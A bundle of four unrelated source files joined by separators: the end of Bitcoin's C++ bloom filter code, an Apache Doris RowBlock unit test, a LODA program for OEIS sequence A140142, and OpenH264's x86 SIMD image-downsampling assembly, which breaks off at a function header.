isEmpty = false;
}
void CBloomFilter::insert(const COutPoint& outpoint)
{
CDataStream stream(SER_NETWORK, PROTOCOL_VERSION);
stream << outpoint;
vector<unsigned char> data(stream.begin(), stream.end());
insert(data);
}
void CBloomFilter::insert(const uint256& hash)
{
vector<unsigned char> data(hash.begin(), hash.end());
insert(data);
}
bool CBloomFilter::contains(const vector<unsigned char>& vKey) const
{
if (isFull)
return true;
if (isEmpty)
return false;
for (unsigned int i = 0; i < nHashFuncs; i++) {
unsigned int nIndex = Hash(i, vKey);
// Checks bit nIndex of vData
if (!(vData[nIndex >> 3] & (1 << (7 & nIndex))))
return false;
}
return true;
}
bool CBloomFilter::contains(const COutPoint& outpoint) const
{
CDataStream stream(SER_NETWORK, PROTOCOL_VERSION);
stream << outpoint;
vector<unsigned char> data(stream.begin(), stream.end());
return contains(data);
}
bool CBloomFilter::contains(const uint256& hash) const
{
vector<unsigned char> data(hash.begin(), hash.end());
return contains(data);
}
void CBloomFilter::clear()
{
vData.assign(vData.size(), 0);
isFull = false;
isEmpty = true;
}
bool CBloomFilter::IsWithinSizeConstraints() const
{
return vData.size() <= MAX_BLOOM_FILTER_SIZE && nHashFuncs <= MAX_HASH_FUNCS;
}
bool CBloomFilter::IsRelevantAndUpdate(const CTransaction& tx)
{
bool fFound = false;
// Match if the filter contains the hash of tx
// for finding tx when they appear in a block
if (isFull)
return true;
if (isEmpty)
return false;
const uint256& hash = tx.GetHash();
if (contains(hash))
fFound = true;
for (unsigned int i = 0; i < tx.vout.size(); i++) {
const CTxOut& txout = tx.vout[i];
// Match if the filter contains any arbitrary script data element in any scriptPubKey in tx
// If this matches, also add the specific output that was matched.
// This means clients don't have to update the filter themselves when a new relevant tx
// is discovered in order to find spending transactions, which avoids round-tripping and race conditions.
CScript::const_iterator pc = txout.scriptPubKey.begin();
vector<unsigned char> data;
while (pc < txout.scriptPubKey.end()) {
opcodetype opcode;
if (!txout.scriptPubKey.GetOp(pc, opcode, data))
break;
if (data.size() != 0 && contains(data)) {
fFound = true;
if ((nFlags & BLOOM_UPDATE_MASK) == BLOOM_UPDATE_ALL)
insert(COutPoint(hash, i));
else if ((nFlags & BLOOM_UPDATE_MASK) == BLOOM_UPDATE_P2PUBKEY_ONLY) {
txnouttype type;
vector<vector<unsigned char> > vSolutions;
if (Solver(txout.scriptPubKey, type, vSolutions) &&
(type == TX_PUBKEY || type == TX_MULTISIG))
insert(COutPoint(hash, i));
}
break;
}
}
}
if (fFound)
return true;
BOOST_FOREACH (const CTxIn& txin, tx.vin) {
// Match if the filter contains an outpoint tx spends
if (contains(txin.prevout))
return true;
// Match if the filter contains any arbitrary script data element in any scriptSig in tx
CScript::const_iterator pc = txin.scriptSig.begin();
vector<unsigned char> data;
while (pc < txin.scriptSig.end()) {
opcodetype opcode;
if (!txin.scriptSig.GetOp(pc, opcode, data))
break;
if (data.size() != 0 && contains(data))
return true;
}
}
return false;
}
void CBloomFilter::UpdateEmptyFull()
{
bool full = true;
bool empty = true;
for (unsigned int i = 0; i < vData.size(); i++) {
full &= vData[i] == 0xff;
empty &= vData[i] == 0;
}
isFull = full;
isEmpty = empty;
}
|
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
#include "olap/row_block.h"
#include <gtest/gtest.h>
#include <sstream>
#include "common/object_pool.h"
#include "exprs/expr.h"
#include "exprs/expr_context.h"
#include "olap/tablet.h"
#include "runtime/runtime_state.h"
#include "util/debug_util.h"
#include "util/logging.h"
using std::vector;
using std::string;
using std::endl;
using std::stringstream;
namespace doris {
class TestRowBlock : public testing::Test {
public:
TestRowBlock() {}
void SetUp() {}
void TearDown() {}
};
void init_tablet_schema(TabletSchema* tablet_schema) {
TabletSchemaPB tablet_schema_pb;
{
// k1: bigint
{
ColumnPB* column_1 = tablet_schema_pb.add_column();
column_1->set_unique_id(1);
column_1->set_name("k1");
column_1->set_type("BIGINT");
column_1->set_is_key(true);
column_1->set_length(8);
column_1->set_aggregation("NONE");
}
// k2: char
{
ColumnPB* column_2 = tablet_schema_pb.add_column();
column_2->set_unique_id(2);
column_2->set_name("k2");
column_2->set_type("CHAR");
column_2->set_is_key(true);
column_2->set_length(10);
column_2->set_aggregation("NONE");
}
// k3: varchar
{
ColumnPB* column_3 = tablet_schema_pb.add_column();
column_3->set_unique_id(3);
column_3->set_name("k3");
column_3->set_type("VARCHAR");
column_3->set_is_key(true);
column_3->set_length(20);
column_3->set_aggregation("NONE");
}
}
tablet_schema->init_from_pb(tablet_schema_pb);
}
TEST_F(TestRowBlock, init) {
TabletSchema tablet_schema;
init_tablet_schema(&tablet_schema);
{
// has nullbyte
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = true;
block.init(block_info);
EXPECT_EQ(9 + 17 + 17, block._mem_row_bytes);
}
{
// has nullbyte
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = false;
block.init(block_info);
EXPECT_EQ(9 + 17 + 17, block._mem_row_bytes);
}
{
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = true;
block_info.column_ids.push_back(1);
block.init(block_info);
// null + sizeof(Slice)
EXPECT_EQ(17, block._mem_row_bytes);
EXPECT_EQ(std::numeric_limits<size_t>::max(), block._field_offset_in_memory[0]);
EXPECT_EQ(0, block._field_offset_in_memory[1]);
EXPECT_EQ(std::numeric_limits<size_t>::max(), block._field_offset_in_memory[2]);
}
}
TEST_F(TestRowBlock, write_and_read) {
TabletSchema tablet_schema;
init_tablet_schema(&tablet_schema);
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = true;
block.init(block_info);
RowCursor row;
row.init(tablet_schema);
for (int i = 0; i < 5; ++i) {
block.get_row(i, &row);
// bigint
{
int64_t val = i;
row.set_not_null(0);
row.set_field_content(0, (const char*)&val, block.mem_pool());
}
// char
{
char buf[10];
memset(buf, 'a' + i, 10);
Slice val(buf, 10);
row.set_not_null(1);
row.set_field_content(1, (const char*)&val, block.mem_pool());
}
// varchar
{
char buf[10];
memset(buf, '0' + i, 10);
Slice val(buf, 10);
row.set_not_null(2);
row.set_field_content(2, (const char*)&val, block.mem_pool());
}
}
block.finalize(5);
EXPECT_EQ(5, block.row_num());
}
TEST_F(TestRowBlock, write_and_read_without_nullbyte) {
TabletSchema tablet_schema;
init_tablet_schema(&tablet_schema);
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = false;
block.init(block_info);
RowCursor row;
row.init(tablet_schema);
for (int i = 0; i < 5; ++i) {
block.get_row(i, &row);
// bigint
{
int64_t val = i;
row.set_not_null(0);
row.set_field_content(0, (const char*)&val, block.mem_pool());
}
// char
{
char buf[10];
memset(buf, 'a' + i, 10);
Slice val(buf, 10);
row.set_not_null(1);
row.set_field_content(1, (const char*)&val, block.mem_pool());
}
// varchar
{
char buf[10];
memset(buf, '0' + i, 10);
Slice val(buf, 10);
row.set_not_null(2);
row.set_field_content(2, (const char*)&val, block.mem_pool());
}
}
block.finalize(5);
EXPECT_EQ(5, block.row_num());
}
TEST_F(TestRowBlock, compress_failed) {
TabletSchema tablet_schema;
init_tablet_schema(&tablet_schema);
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = true;
block.init(block_info);
RowCursor row;
row.init(tablet_schema);
for (int i = 0; i < 5; ++i) {
block.get_row(i, &row);
// bigint
{
int64_t val = i;
row.set_field_content(0, (const char*)&val, block.mem_pool());
}
// char
{
char buf[10];
memset(buf, 'a' + i, 10);
Slice val(buf, 10);
row.set_field_content(1, (const char*)&val, block.mem_pool());
}
// varchar
{
char buf[10];
memset(buf, '0' + i, 10);
Slice val(buf, 10);
row.set_field_content(2, (const char*)&val, block.mem_pool());
}
}
block.finalize(5);
EXPECT_EQ(5, block.row_num());
}
TEST_F(TestRowBlock, decompress_failed) {
TabletSchema tablet_schema;
init_tablet_schema(&tablet_schema);
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = true;
block.init(block_info);
RowCursor row;
row.init(tablet_schema);
for (int i = 0; i < 5; ++i) {
block.get_row(i, &row);
// bigint
{
int64_t val = i;
row.set_field_content(0, (const char*)&val, block.mem_pool());
}
// char
{
char buf[10];
memset(buf, 'a' + i, 10);
Slice val(buf, 10);
row.set_field_content(1, (const char*)&val, block.mem_pool());
}
// varchar
{
char buf[10];
memset(buf, '0' + i, 10);
Slice val(buf, 10);
row.set_field_content(2, (const char*)&val, block.mem_pool());
}
}
block.finalize(5);
EXPECT_EQ(5, block.row_num());
}
TEST_F(TestRowBlock, clear) {
TabletSchema tablet_schema;
init_tablet_schema(&tablet_schema);
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = true;
block.init(block_info);
block.finalize(5);
EXPECT_EQ(5, block.row_num());
EXPECT_EQ(1024, block.capacity());
block.clear();
EXPECT_EQ(1024, block.row_num());
}
TEST_F(TestRowBlock, pos_limit) {
TabletSchema tablet_schema;
init_tablet_schema(&tablet_schema);
RowBlock block(&tablet_schema);
RowBlockInfo block_info;
block_info.row_num = 1024;
block_info.null_supported = true;
block.init(block_info);
// assert init value
EXPECT_EQ(0, block.pos());
EXPECT_EQ(0, block.limit());
EXPECT_FALSE(block.has_remaining());
EXPECT_EQ(DEL_PARTIAL_SATISFIED, block.block_status());
block.set_limit(100);
EXPECT_EQ(100, block.limit());
EXPECT_TRUE(block.has_remaining());
EXPECT_EQ(100, block.remaining());
block.set_pos(2);
EXPECT_TRUE(block.has_remaining());
EXPECT_EQ(98, block.remaining());
block.pos_inc();
EXPECT_TRUE(block.has_remaining());
EXPECT_EQ(97, block.remaining());
block.set_block_status(DEL_SATISFIED);
EXPECT_EQ(DEL_SATISFIED, block.block_status());
}
} // namespace doris
|
; A140142: a(1)=1, a(n)=a(n-1)+n^0 if n odd, a(n)=a(n-1)+ n^4 if n is even.
; 1,17,18,274,275,1571,1572,5668,5669,15669,15670,36406,36407,74823,74824,140360,140361,245337,245338,405338,405339,639595,639596,971372,971373,1428349,1428350,2043006,2043007,2853007,2853008,3901584,3901585,5237921,5237922,6917538,6917539,9002675,9002676,11562676,11562677,14674373,14674374,18422470,18422471,22899927,22899928,28208344,28208345,34458345,34458346,41769962,41769963,50273019,50273020,60107516,60107517,71424013,71424014,84384014,84384015,99160351,99160352,115937568,115937569,134912305,134912306,156293682,156293683,180303683,180303684,207177540,207177541,237164117,237164118,270526294,270526295,307541351,307541352,348501352,348501353,393713529,393713530,443500666,443500667,498201483,498201484,558171020,558171021,623781021,623781022,695420318,695420319,773495215,773495216,858429872,858429873,950666689,950666690,1050666690
mov $2,$0
mov $3,$0
add $3,1
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
lpb $0
sub $0,1
mod $0,2
sub $0,1
lpe
add $0,1
pow $0,4
add $1,$0
lpe
mov $0,$1
|
;*!
;* \copy
;* Copyright (c) 2009-2013, Cisco Systems
;* All rights reserved.
;*
;* Redistribution and use in source and binary forms, with or without
;* modification, are permitted provided that the following conditions
;* are met:
;*
;* * Redistributions of source code must retain the above copyright
;* notice, this list of conditions and the following disclaimer.
;*
;* * Redistributions in binary form must reproduce the above copyright
;* notice, this list of conditions and the following disclaimer in
;* the documentation and/or other materials provided with the
;* distribution.
;*
;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
;* POSSIBILITY OF SUCH DAMAGE.
;*
;*
;* upsampling.asm
;*
;* Abstract
;* SIMD for pixel domain down sampling
;*
;* History
;* 10/22/2009 Created
;*
;*************************************************************************/
%include "asm_inc.asm"
BITS 32
;***********************************************************************
; Macros and other preprocessor constants
;***********************************************************************
;***********************************************************************
; Some constants
;***********************************************************************
;***********************************************************************
; Local Data (Read Only)
;***********************************************************************
SECTION .rodata align=16
;***********************************************************************
; Various memory constants (trigonometric values or rounding values)
;***********************************************************************
ALIGN 16
shufb_mask_low:
db 00h, 80h, 02h, 80h, 04h, 80h, 06h, 80h, 08h, 80h, 0ah, 80h, 0ch, 80h, 0eh, 80h
shufb_mask_high:
db 01h, 80h, 03h, 80h, 05h, 80h, 07h, 80h, 09h, 80h, 0bh, 80h, 0dh, 80h, 0fh, 80h
ALIGN 16
;***********************************************************************
; Code
;***********************************************************************
SECTION .text
WELS_EXTERN DyadicBilinearDownsamplerWidthx32_sse
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx32_sse( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
ALIGN 16
DyadicBilinearDownsamplerWidthx32_sse:
push ebx
push edx
push esi
push edi
push ebp
mov edi, [esp+24] ; pDst
mov edx, [esp+28] ; iDstStride
mov esi, [esp+32] ; pSrc
mov ecx, [esp+36] ; iSrcStride
mov ebp, [esp+44] ; iSrcHeight
sar ebp, $1 ; iSrcHeight >> 1
.yloops:
mov eax, [esp+40] ; iSrcWidth
sar eax, $1 ; iSrcWidth >> 1
mov ebx, eax ; iDstWidth restored at ebx
sar eax, $4 ; (iSrcWidth >> 1) / 16 ; loop count = num_of_mb
neg ebx ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 32 bytes
.xloops:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E
;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm0, [esi] ; 1st pSrc line
movq mm1, [esi+8] ; 1st pSrc line + 8
movq mm2, [esi+ecx] ; 2nd pSrc line
movq mm3, [esi+ecx+8] ; 2nd pSrc line + 8
; to handle mm0, mm1, mm2, mm3
pshufw mm4, mm0, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm5, mm4, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm4, mm5 ; d c D C b a B A
pshufw mm4, mm4, 0d8h ; d c b a D C B A ; 11011000 B: mm4
pshufw mm5, mm1, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm6, mm5, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm5, mm6 ; h g H G f e F E
pshufw mm5, mm5, 0d8h ; h g f e H G F E ; 11011000 B: mm5
pshufw mm6, mm2, 0d8h ; l L j J k K i I ; 11011000 B
pshufw mm7, mm6, 04eh ; k K i I l L j J ; 01001110 B
punpcklbw mm6, mm7 ; l k L K j i J I
pshufw mm6, mm6, 0d8h ; l k j i L K J I ; 11011000 B: mm6
pshufw mm7, mm3, 0d8h ; p P n N o O m M ; 11011000 B
pshufw mm0, mm7, 04eh ; o O m M p P n N ; 01001110 B
punpcklbw mm7, mm0 ; p o P O n m N M
pshufw mm7, mm7, 0d8h ; p o n m P O N M ; 11011000 B: mm7
; to handle mm4, mm5, mm6, mm7
movq mm0, mm4 ;
punpckldq mm0, mm5 ; H G F E D C B A
punpckhdq mm4, mm5 ; h g f e d c b a
movq mm1, mm6
punpckldq mm1, mm7 ; P O N M L K J I
punpckhdq mm6, mm7 ; p o n m l k j i
; avg within MB horizon width (16 x 2 lines)
pavgb mm0, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm1, mm6 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once
; 2nd part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E
;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm1, [esi+16] ; 1st pSrc line + 16
movq mm2, [esi+24] ; 1st pSrc line + 24
movq mm3, [esi+ecx+16] ; 2nd pSrc line + 16
movq mm4, [esi+ecx+24] ; 2nd pSrc line + 24
; to handle mm1, mm2, mm3, mm4
pshufw mm5, mm1, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm6, mm5, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm5, mm6 ; d c D C b a B A
pshufw mm5, mm5, 0d8h ; d c b a D C B A ; 11011000 B: mm5
pshufw mm6, mm2, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm7, mm6, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm6, mm7 ; h g H G f e F E
pshufw mm6, mm6, 0d8h ; h g f e H G F E ; 11011000 B: mm6
pshufw mm7, mm3, 0d8h ; l L j J k K i I ; 11011000 B
pshufw mm1, mm7, 04eh ; k K i I l L j J ; 01001110 B
punpcklbw mm7, mm1 ; l k L K j i J I
pshufw mm7, mm7, 0d8h ; l k j i L K J I ; 11011000 B: mm7
pshufw mm1, mm4, 0d8h ; p P n N o O m M ; 11011000 B
pshufw mm2, mm1, 04eh ; o O m M p P n N ; 01001110 B
punpcklbw mm1, mm2 ; p o P O n m N M
pshufw mm1, mm1, 0d8h ; p o n m P O N M ; 11011000 B: mm1
; to handle mm5, mm6, mm7, mm1
movq mm2, mm5
punpckldq mm2, mm6 ; H G F E D C B A
punpckhdq mm5, mm6 ; h g f e d c b a
movq mm3, mm7
punpckldq mm3, mm1 ; P O N M L K J I
punpckhdq mm7, mm1 ; p o n m l k j i
; avg within MB horizon width (16 x 2 lines)
pavgb mm2, mm5 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm3, mm7 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm2, mm3 ; (temp_row1+temp_row2+1)>>1, done in another 2nd horizonal part
movq [edi ], mm0
movq [edi+8], mm2
; next SMB
lea esi, [esi+32]
lea edi, [edi+16]
dec eax
jg near .xloops
; next line
lea esi, [esi+2*ecx] ; next end of lines
lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth]
lea edi, [edi+edx]
lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth]
dec ebp
jg near .yloops
WELSEMMS
pop ebp
pop edi
pop esi
pop edx
pop ebx
ret
WELS_EXTERN DyadicBilinearDownsamplerWidthx16_sse
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx16_sse( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
ALIGN 16
DyadicBilinearDownsamplerWidthx16_sse:
push ebx
push edx
push esi
push edi
push ebp
mov edi, [esp+24] ; pDst
mov edx, [esp+28] ; iDstStride
mov esi, [esp+32] ; pSrc
mov ecx, [esp+36] ; iSrcStride
mov ebp, [esp+44] ; iSrcHeight
sar ebp, $1 ; iSrcHeight >> 1
.yloops:
mov eax, [esp+40] ; iSrcWidth
sar eax, $1 ; iSrcWidth >> 1
mov ebx, eax ; iDstWidth restored at ebx
sar eax, $3 ; (iSrcWidth >> 1) / 8 ; loop count = num_of_mb
neg ebx ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 16 bytes
.xloops:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E
;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm0, [esi] ; 1st pSrc line
movq mm1, [esi+8] ; 1st pSrc line + 8
movq mm2, [esi+ecx] ; 2nd pSrc line
movq mm3, [esi+ecx+8] ; 2nd pSrc line + 8
; to handle mm0, mm1, mm2, mm3
pshufw mm4, mm0, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm5, mm4, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm4, mm5 ; d c D C b a B A
pshufw mm4, mm4, 0d8h ; d c b a D C B A ; 11011000 B: mm4
pshufw mm5, mm1, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm6, mm5, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm5, mm6 ; h g H G f e F E
pshufw mm5, mm5, 0d8h ; h g f e H G F E ; 11011000 B: mm5
pshufw mm6, mm2, 0d8h ; l L j J k K i I ; 11011000 B
pshufw mm7, mm6, 04eh ; k K i I l L j J ; 01001110 B
punpcklbw mm6, mm7 ; l k L K j i J I
pshufw mm6, mm6, 0d8h ; l k j i L K J I ; 11011000 B: mm6
pshufw mm7, mm3, 0d8h ; p P n N o O m M ; 11011000 B
pshufw mm0, mm7, 04eh ; o O m M p P n N ; 01001110 B
punpcklbw mm7, mm0 ; p o P O n m N M
pshufw mm7, mm7, 0d8h ; p o n m P O N M ; 11011000 B: mm7
; to handle mm4, mm5, mm6, mm7
movq mm0, mm4 ;
punpckldq mm0, mm5 ; H G F E D C B A
punpckhdq mm4, mm5 ; h g f e d c b a
movq mm1, mm6
punpckldq mm1, mm7 ; P O N M L K J I
punpckhdq mm6, mm7 ; p o n m l k j i
; avg within MB horizon width (16 x 2 lines)
pavgb mm0, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm1, mm6 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once
movq [edi ], mm0
; next SMB
lea esi, [esi+16]
lea edi, [edi+8]
dec eax
jg near .xloops
; next line
lea esi, [esi+2*ecx] ; next end of lines
lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth]
lea edi, [edi+edx]
lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth]
dec ebp
jg near .yloops
WELSEMMS
pop ebp
pop edi
pop esi
pop edx
pop ebx
ret
WELS_EXTERN DyadicBilinearDownsamplerWidthx8_sse
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx8_sse( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
ALIGN 16
DyadicBilinearDownsamplerWidthx8_sse:
push ebx
push edx
push esi
push edi
push ebp
mov edi, [esp+24] ; pDst
mov edx, [esp+28] ; iDstStride
mov esi, [esp+32] ; pSrc
mov ecx, [esp+36] ; iSrcStride
mov ebp, [esp+44] ; iSrcHeight
sar ebp, $1 ; iSrcHeight >> 1
.yloops:
mov eax, [esp+40] ; iSrcWidth
sar eax, $1 ; iSrcWidth >> 1
mov ebx, eax ; iDstWidth restored at ebx
sar eax, $2 ; (iSrcWidth >> 1) / 4 ; loop count = num_of_mb
neg ebx ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 8 bytes
.xloops:
; 1st part horizonal loop: x8 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A
;2nd Line Src: mm1: h H g G f F e E
;=> target:
;: H G F E D C B A
;: h g f e d c b a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm0, [esi] ; 1st pSrc line
movq mm1, [esi+ecx] ; 2nd pSrc line
; to handle mm0, mm1, mm2, mm3
pshufw mm2, mm0, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm3, mm2, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm2, mm3 ; d c D C b a B A
pshufw mm2, mm2, 0d8h ; d c b a D C B A ; 11011000 B: mm4
pshufw mm4, mm1, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm5, mm4, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm4, mm5 ; h g H G f e F E
pshufw mm4, mm4, 0d8h ; h g f e H G F E ; 11011000 B: mm5
; to handle mm2, mm4
movq mm0, mm2 ;
punpckldq mm0, mm4 ; H G F E D C B A
punpckhdq mm2, mm4 ; h g f e d c b a
; avg within MB horizon width (16 x 2 lines)
pavgb mm0, mm2 ; (H+h+1)>>1, .., (A+a+1)>>1, temp_row1, 2
pshufw mm1, mm0, 04eh ; 01001110 B
pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once
movd [edi], mm0
; next unit
lea esi, [esi+8]
lea edi, [edi+4]
dec eax
jg near .xloops
; next line
lea esi, [esi+2*ecx] ; next end of lines
lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth]
lea edi, [edi+edx]
lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth]
dec ebp
jg near .yloops
WELSEMMS
pop ebp
pop edi
pop esi
pop edx
pop ebx
ret
; got about 50% improvement over DyadicBilinearDownsamplerWidthx32_sse
WELS_EXTERN DyadicBilinearDownsamplerWidthx32_ssse3
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx32_ssse3( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
ALIGN 16
DyadicBilinearDownsamplerWidthx32_ssse3:
push ebx
push edx
push esi
push edi
push ebp
mov edi, [esp+24] ; pDst
mov edx, [esp+28] ; iDstStride
mov esi, [esp+32] ; pSrc
mov ecx, [esp+36] ; iSrcStride
mov ebp, [esp+44] ; iSrcHeight
sar ebp, $1 ; iSrcHeight >> 1
movdqa xmm7, [shufb_mask_low] ; mask low
movdqa xmm6, [shufb_mask_high] ; mask high
.yloops:
mov eax, [esp+40] ; iSrcWidth
sar eax, $1 ; iSrcWidth >> 1
mov ebx, eax ; iDstWidth restored at ebx
sar eax, $4 ; (iSrcWidth >> 1) / 16 ; loop count = num_of_mb
neg ebx ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 32 bytes
.xloops:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: xmm0: h H g G f F e E d D c C b B a A
; xmm1: p P o O n N m M l L k K j J i I
;2nd Line Src: xmm2: h H g G f F e E d D c C b B a A
; xmm3: p P o O n N m M l L k K j J i I
;=> target:
;: P O N M L K J I H G F E D C B A
;: p o n m l k j i h g f e d c b a
;: P .. A
;: p .. a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movdqa xmm0, [esi] ; 1st_src_line
movdqa xmm1, [esi+16] ; 1st_src_line + 16
movdqa xmm2, [esi+ecx] ; 2nd_src_line
movdqa xmm3, [esi+ecx+16] ; 2nd_src_line + 16
; packing & avg
movdqa xmm4, xmm0 ; h H g G f F e E d D c C b B a A
pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A
pshufb xmm4, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
; another implementation for xmm4 high bits
; psubb xmm4, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0
; psrlw xmm4, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
pavgb xmm0, xmm4
movdqa xmm5, xmm1
pshufb xmm1, xmm7
pshufb xmm5, xmm6
; psubb xmm5, xmm1
; psrlw xmm5, 8
pavgb xmm1, xmm5
movdqa xmm4, xmm2
pshufb xmm2, xmm7
pshufb xmm4, xmm6
; psubb xmm4, xmm2
; psrlw xmm4, 8
pavgb xmm2, xmm4
movdqa xmm5, xmm3
pshufb xmm3, xmm7
pshufb xmm5, xmm6
; psubb xmm5, xmm3
; psrlw xmm5, 8
pavgb xmm3, xmm5
packuswb xmm0, xmm1
packuswb xmm2, xmm3
pavgb xmm0, xmm2
; write pDst
movdqa [edi], xmm0
; next SMB
lea esi, [esi+32]
lea edi, [edi+16]
dec eax
jg near .xloops
; next line
lea esi, [esi+2*ecx] ; next end of lines
lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth]
lea edi, [edi+edx]
lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth]
dec ebp
jg near .yloops
pop ebp
pop edi
pop esi
pop edx
pop ebx
ret
WELS_EXTERN DyadicBilinearDownsamplerWidthx16_ssse3
;***********************************************************************
